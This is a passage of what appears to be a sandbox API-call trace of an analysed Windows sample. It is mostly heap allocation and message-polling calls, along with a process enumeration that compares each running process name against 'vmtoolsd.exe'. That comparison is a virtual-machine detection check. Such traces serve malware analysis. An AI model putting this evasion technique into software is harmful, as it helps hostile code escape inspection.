lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0133.413] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0133.414] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0133.415] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0133.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015ec0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0133.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554d0 [0133.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0133.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] FreeLibrary (hLibModule=0x75a50000) returned 1 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.436] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0133.436] CharUpperBuffW (in: lpsz="ASAZRREHKGLB", cchLength=0xc | out: lpsz="ASAZRREHKGLB") returned 0xc [0133.436] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.437] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.437] GetLastError () returned 0x0 [0133.437] SetLastError (dwErrCode=0x0) [0133.437] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0133.468] Process32FirstW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.469] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.470] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.470] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2f8 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2a8 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0133.471] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0133.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0133.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0133.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0133.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0133.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0133.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="System", cchCount1=6, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0133.472] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf298 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2a8 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf318 [0133.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0133.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.476] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.476] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.476] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0133.476] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.476] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0133.476] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0133.476] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.476] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0133.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.477] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2fb0 [0133.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.477] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="smss.exe", cchCount1=8, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0133.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0133.478] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fb0 | out: hHeap=0xe80000) returned 1 [0133.478] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.478] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2f8 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf338 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf318 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0133.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.480] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0133.480] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0133.480] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0133.480] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.480] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.480] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0133.480] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.480] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.480] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.480] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0133.480] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0133.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.481] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2fb0 [0133.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.481] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csrss.exe", cchCount1=9, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0133.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fb0 | out: hHeap=0xe80000) returned 1 [0133.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0133.482] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2c8 [0133.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0133.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0133.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0133.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0133.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2f8 [0133.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0133.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0133.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0133.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0133.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.485] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3170 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wininit.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 3 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.486] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3170 | out: hHeap=0xe80000) returned 1 [0133.486] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0133.486] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0133.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.488] 